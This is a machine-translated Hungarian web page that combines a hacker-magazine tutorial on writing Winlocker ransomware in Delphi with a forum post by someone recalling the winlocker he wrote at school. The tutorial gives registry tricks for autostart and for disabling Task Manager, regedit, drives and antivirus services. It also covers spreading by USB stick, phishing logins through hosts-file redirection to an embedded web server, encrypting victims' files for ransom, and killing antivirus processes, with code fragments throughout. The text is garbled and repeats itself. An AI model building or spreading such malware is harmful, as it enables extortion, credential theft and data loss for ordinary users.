Megírjuk a winlock forrásainkat. WinLockert írunk delphi-n. Lemez hozzáférés blokkolása

  • Dátum: 28.12.2021

Nem titok, hogy sok felhasználó olyan messze van az információs technológiától, hogy nehézkes lehetővé tenni számukra, hogy ilyen összetett eszközzel, például számítógéppel dolgozzanak. De hogyan lehet megszervezni a PC-hez való hozzáférés korlátozását? Hiszen most már bárki bekapcsolhat számítógépet, akinek a karjainak legalább 10%-a kinőtt a vállából. Szerencsére a programok egész osztálya segít korlátozni a felhasználó hozzáférését az operációs rendszer különböző összetevőihez: a Kerchief vagy Aknakereső lejátszásának egyszerű megtiltásától a Windows teljes blokkolásáig.

Hogyan történik a fertőzés?

Azonban nem minden felhasználó vállalja, hogy önként blokkolja rendszerét (azon a tényre szeretném felhívni a figyelmét, hogy ebben a cikkben nem vesszük figyelembe a rosszindulatú programok létrehozását). Így az ilyen szoftvereket gyakran vírus formájában szállítják a gépeikre. Számos módja van az áldozat megfertőzésének. Közülük a legnépszerűbbek:

1. BÖNGÉSZŐHIBA. Nem titok, hogy a modern vírusírók egyik célja a felhasználó böngészője. A hasznos webszolgáltatások egy tucat fillér, és a felhasználók természetesen használják őket. Sokak számára a böngésző a leggyakrabban használt program, ami nagyon ritkán van bezárva (nálam egyáltalán nem zár be).

Nem kell jóshoz mennie, hogy választ keressen arra a kérdésre, hogy "melyik ajtón keresztül a legjobb betörni a felhasználó rendszerébe?". Itt már világos: ki kell használni a legnépszerűbb böngészők sebezhetőségeit. Ennek a módszernek az alkalmazásához nem szükséges különleges intelligencia. Elég végigmenni a biztonsági oldalakon, megtalálni (ha van) egy megfelelő sploitet és szépen megtervezni az igényeinek megfelelően. Gyors, egyszerű és ingyenes.

2. FLASH. Az elmúlt hónapokban az Adobe rendszeresen elrontotta. Nem fogják tudni elengedni új verzió flash player, hogyan sikerül a hackereknek egy kritikus sérülékenységet találniuk benne. Megtalálják, piszkálják az orrukkal a fejlesztőket, de nem sietnek megjavítani.
Ostobaság azt hinni, hogy ugyanakkor a vírusgyártók csendben leülnek az ötödik pontra, és várják, hogy kijavítsák a hibát. Folyamatosan próbálnak kihasználni egy-egy friss sebezhetőséget, és a maximális hasznot kicsikarni belőle. Ennek eredményeként kiderül, hogy miután megnéz egy vicces videót, a rendszer furcsán kezd viselkedni.

3. FELHASZNÁLÓI NAIVITÁS. Amikor elkezdtem elkészíteni ezt a cikket, a kísérlet kedvéért betöltöttem az operációs rendszert Virtuális gépés megpróbált böngészni a „kétes” oldalakon. Akár hiszi, akár nem, háromszor sikerült felvennem a Winlockert, és beleegyeztem a flash lejátszó "legújabb verziójának" és a "speciális" kodekeknek a telepítésébe. Őszintén szólva kicsit megdöbbentem, mert így gondoltam hasonló módokon már nem gurul.

Mit fogunk kódolni?

Sokáig gondolkodtam azon, hogy milyen nyelven írjam le a példákat ehhez a cikkhez, és úgy döntöttem, hogy felidézem a jól bevált Delphit. „Tehát egy megabájtért kapsz egy exe fájlt!” – tiltakozik majd. Részben igazad van, de ezt a problémát a projekt koncepciójának szakaszában megoldjuk. Az összes kódot egy tiszta API-n adjuk meg. Ennek megfelelően az összeállított állatunk 100 KB-nál kisebb lesz. Még pár tucat kilót fogyunk, ha manipuláljuk a bytecode archiválót az így kapott binárison.

Minden Winlocker alapja

Minden Winlocker alapja egy olyan forma, amely szinte a teljes képernyőre kifeszített. Ráadásul ez nem csak egy nagy űrlap, hanem egy ablak, amely átfedi az összes többit, és egyáltalán nem engedelmeskedik semmilyen parancsnak. Sem kicsinyíteni, sem átméretezni, még kevésbé leállítani a programfolyamatot. Első pillantásra úgy tűnhet, hogy a vírusírók feltaláltak egy know-how-t, de a való életben minden sokkal egyszerűbb. Valójában ez a leggyakoribb ablak, amelynél a megjelenítési stílus „felül”-re van állítva. Annak érdekében, hogy az ablak partizánként viselkedjen, és ne válaszoljon a felhasználói kérésekre, a fejlesztők kissé módosítják az üzenetfeldolgozási eljárást kívülről.

A módosítás a WM_SYSCOMMAND üzenet banális kezeléséből adódik. Hogy még pontosabbak legyünk, a fogadott üzenetek feldolgozásának folyamatában csak deklarálnia kell a WM_SYSCOMMAND üzenet ellenőrzését. A vicces az, hogy ennek az üzenetnek a feldolgozása során egyáltalán nem kell kódot írni – az űrlap úgyis nem reagál a külső környezeti eseményekre.

Automatikus indítás

A vírust fel kell tölteni operációs rendszer. Számos módja van a program automatikus betöltésének. Hagyományosan két csoportra oszthatók: egyszerű és haladó. A cikkben nincs elég hely a haladók figyelembevételére, ezért csak az egyszerűbbeket fogjuk figyelembe venni a rendszerleíró adatbázis használata alapján. Tehát a beállításjegyzékben az automatikus indításnak több sarka van:

  1. HKLM\Software\Microsoft\Windows\CurrentVersion\Run – innen indulnak el a programok, amikor bármely felhasználó bejelentkezik.
  2. HKCU\Software\Microsoft\Windows\Current\Version\Run - az előzőhöz hasonló hely, kivéve, hogy az aktuális felhasználó programjai innen töltődnek be.
  3. HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices – A felhasználók bejelentkezése előtt futó programok listája.
  4. HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\ Futtatás – ez a beállításkulcs felelős a csoportházirendeken keresztül az indításhoz hozzáadott programok indításáért.
  5. A HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows egy másik hely, amely a Windows rendszerrel betöltött programok listáját tartalmazza.
  6. KHLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon - ez az ág tartalmazza a winlogon hivatkozást, de semmi sem akadályozza meg, hogy megadja a program elérési útját.
  7. Mappa automatikus betöltése. Talán a legprimitívebb módszer, de ennek ellenére sok vírusíró használja.

A javasolt letöltési helyek közül melyiket válassza az alkotáshoz? Pontos válasz nincs, de erősen ellenszenves mindenre a javasolt lehetőségek valamelyikére fogadni. Sokkal jobb kombinációt használni, vagyis egyszerre több helyen regisztrálni. A második oldalsávon látható egy példa az automatikus betöltésre írásra WinAPI-n.

És blokkolunk téged, és blokkolunk engem is!

Például könnyen hozzárendelhet egy programot, amely a rendszerindítás után fut, vagy blokkolja egy adott alkalmazás elindítását. Szinte minden ezen a beépülő modulon keresztül végrehajtott művelet módosít bizonyos rendszerleíró kulcsokat. Ha sikerül kiderítenie, hogy pontosan mely rendszerleíró kulcsok módosulnak, akkor ezeket könnyedén módosíthatja közvetlenül a programból. Hogyan kell csinálni? Két lehetőség közül választhat: alkalmazza a tudományos poke módszert, vagy használja Mark Russinovich ProcessMonitor segédprogramját. A második módszer egyértelműen hidegebb, ezért javasoljuk, hogy töltse le a segédprogramot, és kezdje el a kutatást.

Rendszerleíróadatbázis-szerkesztő

A legtöbb felhasználó hozzászokott a rendszerleíró adatbázis szerkesztéséhez a Windowsba épített regedit rendszerleíró adatbázis-szerkesztővel. Mivel a vírusunk módosítani fogja a rendszerleíró adatbázist, meg kell akadályoznunk, hogy egy figyelmetlen felhasználó kiválasztja a rendszerleíró adatbázist. Nem szabad oda dugnia a kíváncsi orrát, ahová nem való. A probléma megoldásának legegyszerűbb módja a rendszerleíróadatbázis-szerkesztő elindításának blokkolása. A blokkoláshoz elég létrehozni a DisableRegistryTools kulcsot 1-es értékkel a HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System ágban.

Feladatkezelő

Kivétel nélkül az összes általam látott winlocker blokkolta a feladatkezelő elindítását. Nos, ne maradjunk le róluk. Ez a szolgáltatás a DisableTaskMgr kulcs (dword típusú) létrehozásával valósul meg 1-es értékkel ugyanabban az ágban, mint a DisableRegistryTools.

Programok telepítése és eltávolítása

A Programok telepítése és törlése kisalkalmazást használó különösen ügyes felhasználók a rendszer fertőzése esetén próbáljanak meg vírusirtót telepíteni. Ezt könnyű megállítani, ha létrehozza a NoAddRemovePrograms kulcsot 1-es értékkel (írja be a dword-ot) ugyanabban a szakaszban, mint a DisableRegistryTools.

Lemez hozzáférés blokkolása

A felhasználó hangulatának teljes elrontásához általában blokkolhatja a rendszerben lévő lemezekhez való hozzáférést. A felhasználó ne is próbálja meg futtatni a víruskeresőt a pendrive-járól! Ezt a trükköt úgy valósítjuk meg, hogy létrehozunk egy NoViewOnDrive (dword) kulcsot a HKEY_LOCAL_MACHINE\ Software\Microsoft\Windows\CurrentVersion\Policies\Explorer alatt. A kulcs értékeként adja meg a blokkolt lemez bitmaszkját. Például a C meghajtónál ez 4 lesz. Ha több meghajtót kell blokkolnia, akkor ezek maszkjait hozzá kell adni. Például a 12-es érték a C (4) és D (8) meghajtók blokkolásának felel meg.

1. funkció: bárhol szórakoztatóbb együtt

Megfertőzte egy szegény felhasználó számítógépét? Ne felejts el gondoskodni a barátairól! Ne feledje, minél szélesebb körben terjed a vírus, annál valószínűbb, hogy pénzt kap. Miután letelepedett egy ellenséges gépezetre, nem kell hiába vesztegetni az időt, hanem megpróbálnia új támpontot találni. Hogyan kell csinálni? Az egyik legegyszerűbb és leghatékonyabb módszer a flash meghajtók figyelése és megfertőzése. Mivel a felhasználók folyamatosan flash meghajtókat használnak, vírusunk könnyen áttelepülhet egyik rendszerről a másikra. Könnyű meghatározni a flash meghajtó csatlakoztatásának tényét. Elegendő a WM_DEVICECHANGE eseményt kezelő kódot írni.

A harmadik oldalsáv kódjában olyan konstansokat és struktúrákat használtam, amelyek nincsenek leírva a Delphihez mellékelt modulokban. Ezeket magadnak kell leírnod. Az összes információt az MSDN-ről vettem, de nem kell aggódnia, hanem azonnal vegye le a kódom forrását DVD-re.

2. funkció: a bérleteid a miénk lesznek!

Milyen webszolgáltatásokat használ egy modern felhasználó? Nem kell hét ívnek lenni a homlokban, hogy legalább néhányat megnevezzünk: mail, osztálytársak, Vkontakte, facebook, twitter stb. A lista a végtelenségig folytatható. mire célzok? És emellett, mivel ellenséges területen van, jó lenne összeszedni az összes jelszót. Talán jól fog jönni a jövőben. Ezen túlmenően, ha ilyen ütőkártyák vannak kéznél, valóságossá válik az áldozat stimulálása. Például, miután a vírus szerzője különböző fiókokból kapott jelszavakat, azokkal megváltoztathatja az elérhetőségeit és a saját jelszavait. Ennek eredményeként az igazi felhasználó nagyon rossz helyzetbe kerül. Más szóval, elveszíti a számláját. Ez már sokkal komolyabb, mint egy lezárt asztal, és ha igen, akkor megnő az esélye, hogy kifizesse a "szolgáltatásait".

Rögtön felmerül a kérdés, hogy mi a legegyszerűbb módja ennek? Általában a felhasználók közvetlenül a böngészőben tárolják jelszavaikat, így azonnal felmerül az ötlet, hogy eltérítsék a jelszótároló fájlt. Az „Evil Comp” cikkben mutattak be példát egy ilyen eltérítésre. megmutatom alternatív módon. Az ötlet az, hogy egyszerűen módosítsuk a gazdagépeket. Ez a fájl a "webhely szimbolikus címe: ip" típusú megfeleléseket tartalmazza. A programunknak képesnek kell lennie arra, hogy módosítsa ezt a fájlt, és leképezéseket adjon hozzá a népszerű webszolgáltatásokhoz. "Hová fogjuk átvinni a felhasználót?". Ehhez kiagyalhatod a saját gonosz oldaladat, amelyen a csalások elhelyezkednek majd népszerű szolgáltatások. Ez a módszer könnyen megvalósítható, de a felhasználók tömeges fertőzése esetén az ilyen webhelyek valószínűleg nem fognak sokáig tartani. Ebben a tekintetben eltekintünk a javasolt módszertől, de nem egészen a szokásos módon fogunk haladni - egy kis webszervert ágyazunk be a vírusba. Ebben a forgatókönyvben az átirányítási célunk a localhost lesz.

Például: 127.0.0.1 www.odnoclassniki.ru

Fontolja meg a szerkesztést hosts fájl nem fogjuk, jobb, ha egy pillantást vetünk arra, hogyan emelhetjük fel a webszerverünket a Delphi segítségével. Ha Ön rendszeres olvasója magazinunknak, akkor jól ismernie kell a Winsock API-t. Valamikor a Kódolás rovatban cikkek voltak arról, hogy mindenféle klienst (FTP, PROXY, IRC, stb.) csak api-függvényekkel írtak. Azt javaslom, hogy vegye elő az aktát, és nézze meg alaposan a témát (vajolaj – a szerk.).

Most a classmates.ru helyett az áldozat nem megy a népszerű valódi oldalára közösségi háló, hanem egyenesen gonosz kiszolgálónk karmai közé. Természetesen a webszervernek udvariasnak kell lennie, és az osztálytársak valódi oldalát kell megjelenítenie (olvassa el - átverő oldal, előre fel kell készülnie). Nos, akkor minden egyszerű: a felhasználó beírja a bejelentkezési adatait, ami után a webszerverünk elmenti azokat. A nyílt égés elkerülése érdekében célszerű olyan oldalra irányítani, amelyen figyelmeztet, hogy az oldal karbantartási munkák miatt jelenleg zárva van. Vagy lehetőségként - mentse el, továbbítsa a bevitt adatokat valós osztálytársaknak.

3. funkció: ecstasy a felhasználó számára

Hogyan ösztönzik a gonosz programozók a felhasználót, hogy váljon meg a nehezen megkeresett fizetett SMS-től? Eltérően. Például úgy, hogy értékes fájlokat titkosít neki. Milyen fájlokra kell figyelni? A legjobb azok számára, amelyektől az áldozat munkája/tanulmányozása függhet, például: dokumentumok (doc, xls, mdb, ppt, txt), képek (jpeg, png, bmp), forrásszövegek (php, pas, c, h , cpp , dpr, py stb.). Ha az áldozat diplomamunkát vagy valami rendkívül fontos jelentést írt, amely holnap esedékes, akkor a támadónak minden esélye megvan arra, hogy pénzjutalmat kapjon.

Most beszéljünk ennek a dolognak a technikai megvalósításáról. A fájlok keresése a Sysutils modul FindFirs() és FindNext() függvényeivel történik. Könnyű velük dolgozni, de az ilyen gyorsételek egyszerűsége negatívan befolyásolja alkalmazásunk alakját. Mivel nem kell plusz súlyt híznunk, több diétás terméket fogunk használni: FindFirstFile() és FindNextFile(). A velük való munka egy kicsit nehezebb (lásd a lemezen lévő fájlok keresésének példáját), de a szépség áldozatot követel.

A fájlok Delphi használatával titkosítása is meglehetősen egyszerű. Minden a választott titkosítási módszertől függ. Egyszerűen használhat kész modulokat, amelyek egy tucat fillér a torry.net-en és más oldalakon. Például az egyik Delphi fejlesztőtől akadtam rá egy jó verzióra. Ez a modul a következő funkciókat valósítja meg:

//Fájl titkosítása
function FileEncrypt(InFile, OutFile: String;
Kulcs: TWordTriple): logikai;
//Fájl visszafejtése
function FileDecrypt(InFile, OutFile: String;
Kulcs: TWordTriple): logikai;
//Szöveg titkosítása
function TextEncrypt(const s: string;
Kulcs: TWordTriple): string;
// Szöveg visszafejtése
function TextDecrypt(const s: string;
Kulcs: TWordTriple): string;
// "memória" titkosítása
függvény MemoryEncrypt(Src: Pointer; SrcSize:
bíboros;
Cél: Mutató; TargetSize: kardinális;
Kulcs: TWordTriple): logikai;
// A "memória" dekódolása
function MemoryDecrypt(Src: Mutató;
SrcSize: Cardinal; Cél: Mutató;
TargetSize: kardinális; Kulcs: TWordTriple): logikai;

Ezeknek a függvényeknek a teljes szövegét, valamint a használatukra vonatkozó példákat a lemezünkön találja.

4-es számú funkció: szorzás!

5. funkció: játsszon bújócskát maximálisan

Ahogy a gyakorlat megmutatta, a Winlockers szerzői nem sokat törődnek utódaik biztonságával. A vírusok e csoportjának legtöbb képviselőjének védelme, amely megakadt a szememben, egy nem feltűnő fájlnév banális hozzárendelésére korlátozódott. Például: system.exe, user32.exe, csrss.exe, eplorer.exe és így tovább. Nem hittem volna, hogy az ilyen módszereket még mindig görgetik, de mint kiderült, tévedtem.
Azt javaslom, hogy ne hanyagolja el a biztonságot, hanem készítsen több különböző algoritmust:

  1. Adjon feltűnő nevet a vírusfájlnak. Bár ez egy primitív szabály, nagyon kívánatos betartani.
  2. Távolítsa el a vírust a folyamatok listájáról. Ez az API-funkciók elfogásának megértésével érhető el. Az API-elfogásról már sokszor írtunk. Feltétlenül olvassa el ezeket a cikkeket!
  3. Használjon többféle módot az automatikus betöltésre.

6-os funkció: ölj meg az elején

Ne legyen lusta, és írjon egy eljárást a folyamatok kényszerített leállítására. Határozottan segít megvédeni utódait a rosszindulatú vírusirtókkal szemben, amelyeket a felhasználó megpróbál majd futtatni. Ideális esetben általában meg kell szervezni a programok indításához használt funkciók lehallgatását, és megakadályozni, hogy azok normálisan működjenek.

munka kész

Írj WinLockert, és csökkentsd le néhány száz dollárral – több mint reális. A felhasználók továbbra sem gondolnak a biztonságra, és ha kényes helyzet adódik, készen állnak arra, hogy dédelgetett SMS-t küldjenek, ahelyett, hogy megerőltetik magukat. Megmutattam a legprimitívebb Winlocker csontvázat. Elvileg harci állapotba hozása több óra kérdése. Csak meg kell csinálni? Tiéd a választás! A lényeg az, hogy ne felejtsük el, hogy a vírusok írása és terjesztése bűncselekmény, amelyre valós határidőt kaphat. Természetesen nem adok egy teljes értékű vírus forrását. Nem, nem azért, mert mohó vagyok. Ezek a vírusok már mindenkit elkaptak, szóval kurvára nem szeretném, ha a cikk után még többé válnának. Ráadásul nem akarok híreket olvasni arról, hogy a rendvédelmi szervek hogyan vették őrizetbe a szörnyű vírusok következő alkotóit :).

Saját készítésű webszerver

var
_buff: karakterek tömbje;
_request:string;
_temp:string;
_elérési út:karakterlánc;
_FileStream: TFileStream;
kezdődik
Recv(_kliens, _buff, 1024, 0);
_request:=string(_buff);
_path:= GetFilePath(Másolás
(_request, 1, pos(#13, _request)));
_path:= ReplaceSlash(_path);
if ((_útvonal = "") vagy (_útvonal = "\")) Akkor
_path:= DocumentRoot + "\" + DirectoryIndex;
(más
if ((_path="\")) Akkor
_path:= DocumentRoot + "\" +
DirectoryIndex; )
if (FileExists(_Path)) Akkor
kezdődik
_FileStream:=
TFileStream.Create(_Path, fmOpenRead);
SendStr(_Client, "HTTP/1.0 200 OK");
SendStr(_Client, "Szerver: xSrV");
SendStr(_Client, "Content-Length:" +
IntToStr(_Fájlfolyam.Méret));
SendStr(_Client, "Content-Type: "
+ GetTypeContent(_Path));
SendStr(_Client, "Kapcsolat: bezárás");
SendStr(_Client, "");
SendFile(_Client, _FileStream);
_FileStream.Free;
Vége
//Kivág

Korlátozza az alkalmazás indítását

A rendszerleíró adatbázis segítségével reálisan meghatározható a futtatásra engedélyezett programok listája. Ha ez a lista be van állítva, akkor a felhasználó nem tud olyan alkalmazásokat futtatni, amelyek nincsenek benne. A futtatásra jóváhagyott alkalmazások listája itt található: HKEY_CURRENT_USER\Microsoft\Windows\CurrentVersion\Policies\Explorer\ RistrictRun. Miután létrehozta a kulcsokat (REG_SZ típusú) minden engedélyezett programhoz ebben a szakaszban, egy szinttel feljebb kell lépnie, és hozzá kell adnia egy dword típusú RestrictRun paramétert, amelynek értéke 1.

Számítógép-kezelés

Sok rossz dolgot megtehet a felhasználó, ha rendelkezik hozzáféréssel a "Számítógép-kezelés" beépülő modul elindításához. A beépülő modult nem lehet teljesen letiltani a beállításjegyzék használatával, de eltávolíthatja az indítására mutató hivatkozást helyi menü parancsikon "Sajátgép" - könnyebb, mint egy párolt fehérrépa. Mindössze annyit kell tennie, hogy létrehoz egy NoManageMyComputerVerb dword értéket, amely 1 a HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer alatt.

Csökkentjük a szolgáltatásokat

A rendszerleíró adatbázis lehetőségeivel egyszerűen letilthatja azokat a szolgáltatásokat, amelyekre a felhasználónak nincs szüksége (például vírusirtó). A rendszerre telepített szolgáltatások teljes listája a HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services ágban található. A szolgáltatás letiltásához módosítsa az indítókulcs értékét. Ha például az "Indítási típus" szolgáltatást "kézi" értékre szeretné állítani, akkor a startkulcsot hozzá kell rendelni 3. Ha azt szeretné, hogy szoftvere hosszabb ideig működjön egy ellenséges rendszerben, akkor azt tanácsolom, hogy tartson adatbázist a víruskereső szolgáltatásokról. Teremtés. Vagyis egyértelműen azonosítania kell a víruskereső szolgáltatásokat, és módosítania kell az indítási típusukat.

Mi másra van szükségünk?

Átgondoltuk bármelyik Winlocker tipikus funkcióit, most itt az ideje, hogy elgondolkodjunk azon, hogyan fejleszthetnénk agyszüleményenket. Őszintén szólva nem értem, hogy a profi vírusírók miért nem építenek be további hasznos szolgáltatásokat az ilyen vírusokba. Hiszen nincs garancia arra, hogy a felhasználó eléri a mobiltelefont, és egy rövid számra küldi a dédelgetett SMS-t, ezzel gazdagítva a vírus szerzőjét. De mindig van lehetőség hasznos információkat lopni a felhasználó autójából: különféle szolgáltatások jelszavait, dokumentumokat, rögzített skype beszélgetéseket stb. Nem vezetünk be korlátozást, de frissítjük szoftverünket ennek megfelelően teljes program. Tehát az alábbiakban leírtam hat chipet, amelyeket hasznos lenne megvalósítani egy ilyen „projektben”.

Monitor flash meghajtók

var
lemez:DWORD;
kezdődik
eset Msg.WParam of
DBT_DEVICEARRIVAL: //Ha flash meghajtó van csatlakoztatva


kezdődik
//Próbálja meg meghatározni a meghajtó betűjelét
lemez:= PDEV_BROADAST_VOLUME(Msg.LParam" ")^
.dbcv_unitmask;
//Végrehajtja a rosszindulatú kódunkat
vége;
DBT_DEVICEREMOVECOMPLETE: // Ha a flash meghajtót eltávolították
if (PDEV_BROADCAST_HDR(Msg.LParam)^
.dbch_devicetype = DBT_DEVTYP_VOLUME), majd
kezdődik
//Flash meghajtó lecsatolva
vége;

Bezárható ablak a WINDOWS API-n

wc.cbSize:=sizeof(wc);
wc.style:=cs_hredraw vagy cs_vredraw;
wc.lpfnWndProc: [e-mail védett];
wc.cbClsExtra:=0;
wc.cbWndExtra:=0;
wc.hInstance:=HIpéldány;
wc.hIcon:=LoadIcon(0,idi_alkalmazás);
wc.hCursor:=LoadCursor(0,idc_arrow);
wc.hbrBackground:=COLOR_BTNFACE+1;
wc.lpszMenuName:=nil;
wc.lpszClassName:='win_main';
RegisterClassEx(wc);
leftPos:=20;
topPos:=0;
windowWidth:=Screen.Width;
WindowHeight:=Képernyő.Magasság;
MainWnd:=CreateWindowEx(
0,
'win_main',
'teszt',
ws_overlappedwindow,
leftPos,
topPos,
ablak szélessége,
ablak magassága,
0,
0,
példa,
nulla
);
SetWindowLong(MainWnd, GWL_HWNDPARENT,
GetDesktopWindow);
SetWindowPos(MainWnd, HWND_TOPMOST,
0, 0, 0, 0, SWP_NOMOVE vagy SWP_NOSIZE);
ShowWindow(MainWnd, CmdShow);
Míg a GetMessage(Mesg,0,0,0) igen
kezdődik
Üzenet fordítása (Üzenet);
DispatchMessage (Üzenet);
vége;

WINAPI a rendszerleíró adatbázissal való együttműködéshez

var
Kulcs: HKey;
kezdődik
// Itt helyettesítheti az egyik elérési utat
automatikus betöltés.
RegOpenKey(HKEY_LOCAL_MACHINE,
PChar(''), Kulcs);
RegSetValueEx(kulcs,PChar(paramstr(0)),
0, REG_SZ,
pchar(paramstr(0)),
lstrlen(pchar(paramstr(0)))+1);
RegCloseKey(Kulcs);
vége;

Olimpia úr 2015. szeptember 23. 13:33

Áttekintés a trojan.winlock vírusomról, amit az iskolai éveim alatt írtam

Ebben a cikkben a számítógépes vírusomról szeretnék mesélni, amit 9. osztályos koromban írtam.

Az ügy 2012 decemberének elején kezdődött. Csodálatos újévi hangulatom volt. Kint hóviharok voltak, és esett a hó. Akkor nagyon népszerű volt az iskolások körében, hogy érdekes programok leple alatt vírusokkal dobálják egymást. Különösen népszerű volt a trojan.winlocker vírus, amely jelszó beírásáig teljesen blokkolta a számítógépet.

Eljött a péntek, vége a tanévnek, és nemsokára jön az új év, szóval a hangulat remek volt. Ezen a napon az osztálytársam dicsekedett mindenkinek, hogy tegnap volt egy nagyon érdekes története, amit videóra vett.

Látta az egyik fórumon, ahol az online játékokban való csalást tárgyalják, egy olyan témát, ahol valaki arra kérte, hogy dobjon be egy működő csalást a War Face online játékra. Barátom válaszolt, azt mondják, írj nekem Skype-on, küldök egy csalást, és megmondom, hogyan kell ingyen használni. Elkezdődött egy Skype beszélgetés, de a barátom ahelyett, hogy egy online játékot csalt volna, küldött neki egy winlockert, amit letöltött az internetről, és elkezdte zsarolni. Jelszóért cserébe kényszerítette arra, amit mondott, és az egészet kamerára vette. Soha nem adta meg neki a jelszót.

A barátom által használt winlockerben azonban sok hiányosságot láttam. Először is, az antivírusok "égették", és nem működik csökkentett módban. Úgy döntöttem, hogy megírom a saját winlockerem, amely mentes lesz ezektől a hiányosságoktól.

De ennek a vírusnak a népszerűsége ellenére akkoriban nagyon kevés cikk jelent meg a létrehozásának témájában, ezért létrehozása két hétig, vagy még egy kicsit tovább is elhúzódott.

Amikor az alkotás és a tesztelés befejeződött, nagyon elégedett voltam az eredménnyel. A víruskeresők nem ragaszkodtak hozzá, és még amikor a különösen tapasztalt felhasználók csökkentett módban próbálták eltávolítani, csalódottak voltak.

Nem tudom pontosan leírni, hogy milyen problémákkal találkoztam a fejlesztés során, mert már nem emlékszem, de nemrég találtam egy pendrive-ot a szekrény alatt, amiben találtam egy .rar archívumot a forrásokkal. Magát a vírust C#-ban írtam, és elfelejtettem mondani, hogy Windows 8-on teljesen működik.

Ennek a cikknek az volt a célja, hogy elmondjam, mit csináltam iskolai éveim alatt, és megosszam kreativitásomat. Már régóta nem csináltam ilyesmit. Jelenleg szoftvereket fejlesztek ios-ra és androidra.

Most bemutatom a legérdekesebb kódsorokat.

Feladatkezelő blokkolása.

Ez a kód lehetővé teszi, hogy a rendszer indításakor az explorer.exe helyett a vírusfájl induljon el.

Zárja be az explorer.exe folyamatot.

Ellenőrizze a rendszergazdai jogokat (a vírus működéséhez szükségesek).

A rendszer zárolása és feloldása.

Így néz ki a winlocker alakja.

Nos, ez az esemény történik, amikor a feloldó gombra kattint.

Az anyád! Megint kaptam ezt a fertőzést! A francba! Valami ehhez hasonló, mindannyian esküszöm, hogy felkapunk egy olyan népszerű rosszindulatú programot, mint a Winlocker. Ma a vírusok ugyanolyan típusúak, mint a középkori pestis. Megragadni őket könnyű, kezelése viszont problémás. Mit mondjak, még az „antivírus” klán legkeményebb mágusai sem mindig képesek azonnali visszautasítást adni az aljas fertőzésre. De ezeknek az alkotásoknak 99%-át olyan iskolások írják, akik alig tanultak meg kódolni. Ebben a cikkben megpróbálom érthetően elmagyarázni a szörnyű winlockerek fejlesztésének összes bonyolultságát.
Hogyan történik a fertőzés
Nem fogunk azonnal bemászni a kódoló vadonba, de az elmélettel kitaláljuk. Az első dolog, amit figyelembe kell venni, a tipikus fertőzési lehetőségek. Számos módja van a fertőzésnek. A legnépszerűbbek a következők:
1. Böngésző hibák. Nem titok, hogy a modern vírusírók egyik célja a felhasználó böngészője. A hasznos webszolgáltatások tucatnyiak, és a felhasználók természetesen használják őket. Sokak számára a böngésző a leggyakrabban használt program, ami ritkán zár be (a szerző megjegyzése - nálam egyáltalán nem zár be).
Nem kell jóshoz fordulni, és feltenni a választ a következő kérdésre: „Melyik ajtón keresztül a legjobb betörni a felhasználó rendszerébe?”. Már itt is világos – ki kell használni a legnépszerűbb böngészők sebezhetőségeit. Ennek a módszernek a gyakorlatban való megforgatásához nem kell különleges intelligencia. Elég átnézni a biztonsági oldalakat, megtalálni a megfelelő exploitot és szépen megtervezni az igényeinek megfelelően. Gyors, egyszerű és ingyenes.
2. Hello rossz Flash. Az elmúlt hónapokban az Adobe a lehető legrosszabbul rontott. Nem lesz idejük kiadni a flash player új verzióját, mivel a hackereknek sikerül egy kritikus sérülékenységet találniuk benne. Megtalálják, piszkálják az orrukkal a fejlesztőket, de nem sietnek (vagy nem tudnak?) Megjavítják. Ostobaság azt hinni, hogy a vírusírók nyugodtan ülnek és várják, hogy kijavítsák a hibát. Készen állnak, és megpróbálják a sebezhetőséget halandó célokra kihasználni. Így kiderül, hogy miután megnézett egy vicces videót, a rendszere furcsán kezd viselkedni.
3. Felhasználói naivitás. Amikor elkezdtem elkészíteni ezt a cikket, a kísérlet kedvéért betöltöttem az operációs rendszert egy virtuális gépre, és megpróbáltam "kétes" webhelyeken böngészni. Akár hiszi, akár nem, háromszor sikerült felvennem a Winlockert, és beleegyeztem a flash lejátszó "legújabb verziójának" és a "speciális" kodekeknek a telepítésébe. Őszintén szólva kicsit megdöbbentem, mert. Azt hittem, hogy az ilyen módszereket már nem csatornázzák, de nem ...
Mit kódolunk?
Sokáig gondolkodtam, milyen nyelven írjak példákat ehhez a cikkhez, és úgy döntöttem, hogy felidézem a jól bevált Delphit. „Tehát van egy exe”, amiből megabájt lesz!” – tiltakozik. Részben ugyan a tiéd, de ezt a problémát a kezdeti szakaszban megoldjuk. Minden kód tiszta API-n lesz megadva. Ennek megfelelően a A lefordított projekt 100 kilobájtnál kevesebb lesz, és ha egy byte-os kódarchiválóval végigcsinálod, akkor képes leszel még pár tíz kilót dobni.
Minden Winlocker alapja
Bármely Winlocker fő eleme egy olyan forma, amely szinte a teljes képernyőre kifeszített. Ráadásul ez nem csak egy nagy űrlap, hanem egy ablak, amely átfedi az összes többit, és egyáltalán nem engedelmeskedik semmilyen parancsnak. Sem kicsinyíteni, sem átméretezni, nemhogy leállítani a programfolyamatot.
Első pillantásra úgy tűnhet, hogy a vírusírók feltaláltak valamiféle know-how-t, de a való életben minden sokkal egyszerűbb. Valójában ez a leggyakoribb ablak, amelynek megjelenítési stílusa az összes ablak tetején van beállítva. Annak érdekében, hogy az ablak partizánként viselkedjen, és ne válaszoljon a felhasználói kérésekre, a fejlesztők kissé módosítják a külvilágból érkező üzenetek feldolgozásának eljárását.
A módosítás a WM_SYSCOMMAND üzenet banális kezeléséből adódik. Hogy még pontosabbak legyünk, a fogadott üzenetek feldolgozására szolgáló eljárásban (lásd az 1. listát) mindössze annyit kell tennie, hogy kijelenti a WM_SYSCOMMAND üzenet ellenőrzését. A vicces az, hogy ennek az üzenetnek a feldolgozása során egyáltalán nem írhat kódot. Az űrlapod úgyis abbahagyja a reagálást a külső környezet eseményeire.




Winlocker Galéria


Automatikus indítás
A vírust az operációs rendszerrel együtt kell betölteni. Minél hamarabb indul el a vírus, annál nagyobb az esélye annak, hogy a telepített vírusirtó a csatornába kerül. Számos módja van a program automatikus betöltésének. Hagyományosan két csoportra oszthatók: egyszerű és haladó. A cikkben nincs elég hely a haladók figyelembevételére, ezért csak az egyszerűbbeket nézzük meg a registry használata alapján. Tehát a beállításjegyzékben az automatikus indításnak több sarka van:
